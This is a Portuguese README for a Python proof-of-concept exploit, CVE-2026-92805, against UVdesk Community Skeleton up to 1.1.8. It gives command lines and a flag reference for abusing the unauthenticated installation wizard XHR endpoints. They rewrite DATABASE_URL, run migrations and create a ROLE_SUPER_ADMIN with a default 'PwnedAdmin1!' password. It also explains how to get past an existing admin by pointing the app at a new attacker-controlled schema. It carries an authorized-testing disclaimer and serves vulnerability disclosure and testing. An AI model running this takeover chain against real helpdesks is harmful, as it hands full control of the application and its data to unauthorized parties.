
PoC em Python para CVE-2026-92805: o XHR do assistente de instalação não autenticado do UVdesk permite a reescrita de DATABASE_URL e a criação de ROLE_SUPER_ADMIN através dos modos fingerprint e admin.
POC de super-admin não autenticado no assistente do UVdesk
UVdesk Community Skeleton até a versão 1.1.8 — o XHR do assistente de instalação (ConfigureHelpdesk) não possui autenticação nem verificação de estado de instalação. Um chamador não autenticado pode reescrever DATABASE_URL e criar um ROLE_SUPER_ADMIN. Não há tag pública corrigida (v1.1.9 retorna 404).
Apenas para testes autorizados. Não execute isto contra sistemas que você não possui ou não tem permissão para testar.
Requer: Python 3, apenas biblioteca padrão.
python3 cve-2026-92805-uvdesk-wizard-admin.py -u http://TARGET --test
python3 cve-2026-92805-uvdesk-wizard-admin.py -u http://TARGET --admin --email [email protected] --password 'PwnedAdmin1!'
python3 cve-2026-92805-uvdesk-wizard-admin.py -u https://TARGET --test --insecure
python3 cve-2026-92805-uvdesk-wizard-admin.py -u TARGET --test
| Flag | O que faz |
|---|---|
-u / --url | URL base do helpdesk (obrigatório). http:// ou https://. Um hostname sem esquema é tentado primeiro como HTTPS, depois HTTP. Redirecionamentos http→https mantêm o POST. Certificados TLS inválidos são tentados novamente sem verificação; --insecure ignora a verificação desde o início |
--test | Apenas fingerprint: POST /wizard/xhr/check-requirements (specification=php-version). Sem escrita no .env, sem usuário |
--admin | Cadeia completa do assistente: armazena DB + super-usuário na sessão PHP, escreve DATABASE_URL, migra, cria ROLE_SUPER_ADMIN |
--email / --password / --name | Super-admin a criar (padrões [email protected] / PwnedAdmin1! / Pwned Admin) |
--db-host / --db-port / --db-user / --db-pass / --db-name | MySQL como a aplicação PHP o vê (padrões 127.0.0.1:3306 / uvdesk / uvdesk / uvdesk) |
--create-db | Pede ao assistente para executar CREATE DATABASE se o schema estiver ausente |
--insecure | Ignora a verificação TLS |
--timeout | Timeout HTTP em segundos (padrão 120; migrações podem ser lentas) |
Endpoint do --test: POST /wizard/xhr/check-requirements. Um JSON 200 com "version" / "status" é PRESENT / VULNERABLE. Ele nunca acessa load/configurations ou load/super-user. Após uma instalação concluída, GET / redireciona para fora do HTML do assistente; as rotas XHR ainda respondem. Esse é o bug.
--admin não é autenticado. O assistente pensa que é o instalador de primeira execução. --db-* não é um cliente MySQL na sua máquina; eles são enviados à aplicação para que o PHP possa conectar (mesmo host 127.0.0.1 é o caso usual).
Você não precisa descobrir um nome de schema existente. --db-name é um nome que você escolhe (padrão uvdesk). --create-db define a flag createDatabase do assistente para que o PHP execute CREATE DATABASE se esse nome estiver ausente. Sem --create-db, um nome ausente resulta em NEED_DB ("The requested database was not found"). Criar um novo nome requer um usuário MySQL com CREATE (um uvdesk@localhost restrito que só tem direitos sobre uvdesk.* pode reutilizar uvdesk, mas pode não conseguir criar uvdesk_pwn). --test nunca fala com o MySQL.
Se um super-admin já existir nesse schema, load/super-user é uma operação nula — --create-db mais um --db-name novo cria um schema que você controla e aponta DATABASE_URL para ele.
Stdout: UVDESK, WIZARD_PAGE, PHP, STATUS, PRESENT, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NEED_DB, ADMIN, LOGIN.

CVE: CVE-2026-92805. Produto: uvdesk/community-skeleton.